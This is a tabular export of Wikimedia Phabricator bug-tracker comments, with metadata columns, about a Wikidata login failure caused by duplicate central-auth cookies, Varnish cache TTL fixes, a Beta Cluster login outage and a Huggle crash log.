+515109,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"If you can still reproduce this, we need to know your cookies for wikidata.org and subdomains to be able to fix this. (At least the cookie names/keys, don't publicly publish the values. You can send me a private message through Phabricator or on wiki if you want to be sure to not accidentally publish something private.)",,,1440610704,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1
+514000,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Added a notice to our homepage, a sitenotice seems annoying to me.",,,1440486938,,PHID-USER-pr6rfjdcmkknkex6dgn5,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+513999,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Apparently people are still having issues: https://www.wikidata.org/wiki/Wikidata:Project_chat#Central_login_.282.29 :(,,,1440486821,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1
+512713,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Pushed a fix for deleting the duplicate centralauth_User for wikidata.org, should be in effect globally now.",,,1440204947,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+512711,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 233086 merged by BBlack:
+Fix remaining wikidata login issues: duplicate CA User
+
+[[https://gerrit.wikimedia.org/r/233086]]",,,1440204625,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+512710,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 233086 had a related patch set uploaded (by BBlack):
+Fix remaining wikidata login issues: duplicate CA User
+
+[[https://gerrit.wikimedia.org/r/233086]]
+",,,1440204525,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+512706,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Ah, that makes some logical sense.  We should probably stripping duplicate _User the way we are for duplicate _Token to address the bulk of it....",,,1440204220,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+512662,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"I hit this also tonight.
+
+If it helps: I had two ""centralauth_User"" cookies: one for previously logged user and another one for currently logged user (I was relogging to another account)",,,1440198231,,PHID-USER-2ji2k3idgmipacu4ftck,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+510052,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Sadly there is no way to reproduce it once the cookies are deleted.,,,1439893344,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+509984,[Bug] Users are unable to login on wikidata.org until they clear their cookies,At least one user still had this problem today. See https://www.wikidata.org/wiki/Wikidata:Project_chat#Central_login.,,,1439880836,,PHID-USER-74kolctr2gbwr2mtan63,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1
+508494,[Bug] Users are unable to login on wikidata.org until they clear their cookies,">>! In T109038#1540332, @JanZerebecki wrote:
+> @csteipp Sorry I missed that. I don't have the tab open anymore. I don't remember the order but in the Cookie HTTP header there where two key-value pairs for centralauth_Token with different values. One for www.wikidata.org and one for .wikidata.org . See the patch for the regex that matched that situation. After that the .wikidata.org one was deleted. Should that also be fixed in CentralAuth?
+
+Yeah, I was mostly interested if that was in fact the issue. So confirmed.
+
+To avoid this in the future, we could look at how CentralAuth gets the cookie and see if we can either identify the correct one or check all of the ones that come in.",,,1439575080,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1
+508459,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@csteipp Sorry I missed that. I don't have the tab open anymore. I don't remember the order but in the Cookie HTTP header there where two key-value pairs for centralauth_Token with different values. One for www.wikidata.org and one for .wikidata.org . See the patch for the regex that matched that situation. After that the .wikidata.org one was deleted. Should that also be fixed in CentralAuth?,,,1439572858,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0
+508312,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"We think the workaround deployed via https://gerrit.wikimedia.org/r/231556 should fix this up well enough.  It worked for @JanZerebecki who still had the old bad cookie, which the fixup wiped out.  Can others confirm?",,,1439561653,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0
+508311,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231558 merged by BBlack:
+wikidata.org cookie workaround: add comments re task and when it can be removed
+
+[[https://gerrit.wikimedia.org/r/231558]]",,,1439561543,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+508310,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231558 had a related patch set uploaded (by BBlack):
+wikidata.org cookie workaround: add comments re task and when it can be removed
+
+[[https://gerrit.wikimedia.org/r/231558]]
+",,,1439561509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+508303,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231556 merged by BBlack:
+Attempt to fix CA token issue via double-value detection -> delete on .wikidata.org
+
+[[https://gerrit.wikimedia.org/r/231556]]",,,1439560596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+508293,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231556 had a related patch set uploaded (by BBlack):
+Attempt to fix CA token issue via double-value detection -> delete on .wikidata.org
+
+[[https://gerrit.wikimedia.org/r/231556]]
+",,,1439559312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+508282,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"@bblack, if you're able to reproduce, can you capture the headers and send
+them to me? Or post here if you're comfortable.
+
+I'm guessing you ended up with two token/session cookies, and either guy
+the wrong one or the browser sends both and we're parsing the wrong one
+out. But would like to confirm",,,1439558032,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0
+508258,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"A site notice would probably be really useful for WD users telling them what to do (yes, old technology)",,,1439556939,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+508245,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"As best I can tell from my own testing (but I think someone with deeper insight into the CORS change for (www|query).wikidata.org and S:UL and such would need to confirm this sounds sane): I was able to reproduce the issue, and I was able to apparently perma-fix it for myself by deleting the centralauth_Token cookie in my browser cookie set that was stored under ""wikidata.org"" (as opposed to www.wikidata.org).
+
+From the server end, we can't tell what domain a cookie was set for, only that it matched for the browser's request.  So we could, for example, put a hack in varnish to delete the centralauth_Token cookie on requests with the exact Host header ""wikidata.org"" just to kill the one problematic cookie, but users would actually have to visit https://wikidata.org/ to trigger the fix.  We could maybe do that part by embedding a request to it in all accesses to www.wikidata.org temporarily or something like that.  There might be some better application-level way of dealing with this, though.",,,1439556126,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+508244,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"As best I can tell from my own testing (but I think someone with deeper insight into the CORS change for (www|query).wikidata.org and S:UL and such would need to confirm this sounds sane): I was able to reproduce the issue, and I was able to apparently perma-fix it for myself by deleting the centralauth_Token cookie in my browser cookie set that was stored under ""wikidata.org"" (as opposed to www.wikidata.org).
+
+From the server end, we can't tell what domain a cookie was set for, only that it matched for the browser's request.  So we could, for example, put a hack in varnish to delete the centralauth_Token cookie on requests with the exact Host header ""wikidata.org"" just to kill the one problematic cookie, but users would actually have to visit https://wikidata.org/ to trigger the fix.  We could maybe do that part by embedding a request to it in all accesses to wikidata.org temporarily or something like that.  There might be some better application-level way of dealing with this, though.",,,1439556072,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+508221,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Does someone have the specific details here on what cookie name to wipe on requests to what domainname(s)?,,,1439553274,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+508165,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"The way to go here is probably to unset the old cookies via varnish, if they exist. @bblack can help with that.",,,1439546558,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0
+508132,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Could the cause of this issue and {T50389} be the same?,,,1439543480,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+508082,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Had the same issue. Clearing cookies lets me log into Wikidata, but ""locally"". Logging into another Wikimedia site activates the ""global"" login for those. Both work now (no ""you are centrally logged in"" message on Wikidata again).",,,1439539743,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0
+108612,Fix Varnish TTLs across the board,"https://phabricator.wikimedia.org/T102991 highlighted that we had cached objects lasting longer than 30 days, which was both problematic and unexpected.  That specific issue has been fixed: https://gerrit.wikimedia.org/r/#/c/229714/ , but in researching this I realized there are actually a lot of problems with how we're handling cache TTLs, especially with how they're handled across layers and tiers of caching.  The key issues here are:
+
+1) We're limiting frontends to 120s object lifetimes in the common case - reduces front hitrate, and also explains hitrate anomalies on cache size increase during earlier experimentation here: https://phabricator.wikimedia.org/P969
+2) We're not really communicating TTLs properly from Tier1 backends to Tier2 backends, or from either tier's backend to frontends in general, which is a strong blocker for simply lifting the 120s limitation on the front caches naively....",Unbreak Now!,100.0,1439231897,1442930535.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_description,resolved,True,c3,3,True,True,True,5,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+506063,Fix Varnish TTLs across the board,"Change 230809 merged by BBlack:
+cache_mobile: def_ttl 30d
+
+[[https://gerrit.wikimedia.org/r/230809]]",,,1439313711,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+506060,Fix Varnish TTLs across the board,"Change 230808 merged by BBlack:
+cache_(text|upload): frontend default_ttl => 30d
+
+[[https://gerrit.wikimedia.org/r/230808]]",,,1439313203,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+506039,Fix Varnish TTLs across the board,"Change 230809 had a related patch set uploaded (by BBlack):
+cache_mobile: def_ttl 30d
+
+[[https://gerrit.wikimedia.org/r/230809]]
+",,,1439311347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+506038,Fix Varnish TTLs across the board,"Change 230808 had a related patch set uploaded (by BBlack):
+cache_(text|upload): frontend default_ttl => 30d
+
+[[https://gerrit.wikimedia.org/r/230808]]
+",,,1439311346,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+506035,Fix Varnish TTLs across the board,"Ok I've dug into this some (read varnish source code to confirm behavior there, re-read our VCL, stared at lots of parsed varnish logs, etc) and it's not as bad as I initially thought.  Most of it's working pretty sanely, actually, and TTLs are usually correctly transitive across the layers.
+
+The only strange case is responses with no cacheability info that use the default_ttl, which should probably be synchronized across the layers of a cluster (as in, bump upload/text frontends to 30d default).  Very few text-cluster requests are using the default anyways, most are using app-supplied TTLs.
+
+Additionally, mobile should be using the same 30d default_ttl that text/upload uses (right now it's using 120s for both layers).",,,1439311191,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,True,,,5,True,1,0,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+107288,Could not login into Beta Cluster,"Beta Cluster works, but when I'm trying to login, I get the ""Wikimedia Foundation Error"" Screen, since more than two hours.",Unbreak Now!,100.0,1438181611,1438195888.0,PHID-USER-qlodcndtwpolbdhncjis,False,PHID-USER-qlodcndtwpolbdhncjis,False,PHID-TASK-aityeetplvliijwsbok6,task_description,resolved,True,c3,3,True,True,True,3,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+499084,Could not login into Beta Cluster,"Change 227770 merged by Ori.livneh:
+Add redis nutcracker group for beta
+
+[[https://gerrit.wikimedia.org/r/227770]]",,,1438198894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aityeetplvliijwsbok6,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+499078,Could not login into Beta Cluster,"Change 227770 had a related patch set uploaded (by Thcipriani):
+Add redis nutcracker group for beta
+
+[[https://gerrit.wikimedia.org/r/227770]]
+",,,1438197993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aityeetplvliijwsbok6,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+499055,Could not login into Beta Cluster,"Login works now, thanks.",,,1438195888,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-aityeetplvliijwsbok6,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+106309,Cannot login to Huggle 3.1.14,"I downloaded [[ https://github.com/huggle/huggle3-qt-lx/releases/download/3.1.14/huggle_3.1.14.dmg | Huggle 3.1.14 for Mac OS X from GitHub ]] today and received the following error while attempting to login. Repeated attempts produced the same error.
+
+System log
+==================
+Sun Jul 19 17:47:01 2015: Loaded in 219ms
+Sun Jul 19 17:47:01 2015: Extensions: 4
+Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_thanks.dylib
+Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_sh.dylib
+Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_md.dylib
+Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_en.dylib
+Sun Jul 19 17:47:01 2015: Loading plugins in /Applications/huggle.app/Contents/MacOS/../PlugIns and /Users/mj94/Library/Application Support/Wikimedia/Huggle/extensions/
+Sun Jul 19 17:47:01 2015: Home: /Users/mj94/Library/Application Support/Wikimedia/Huggle
+Sun Jul 19 17:47:01 2015: Loading configuration
+Sun Jul 19 17:47:01 2015: Huggle 3 QT-LX, version 3.1.13 build: 2597 3.1.14
+
+
+
+
+Exception details
+===========================
+Error code: 2
+Reason: There is no data to be processed
+Source: void Huggle::ApiQueryResult::Process()@/Users/petanb/Documents/huggle3-qt-lx/huggle/apiqueryresult.cpp:89
+Stack trace:
+Stack trace not available for this OS
+
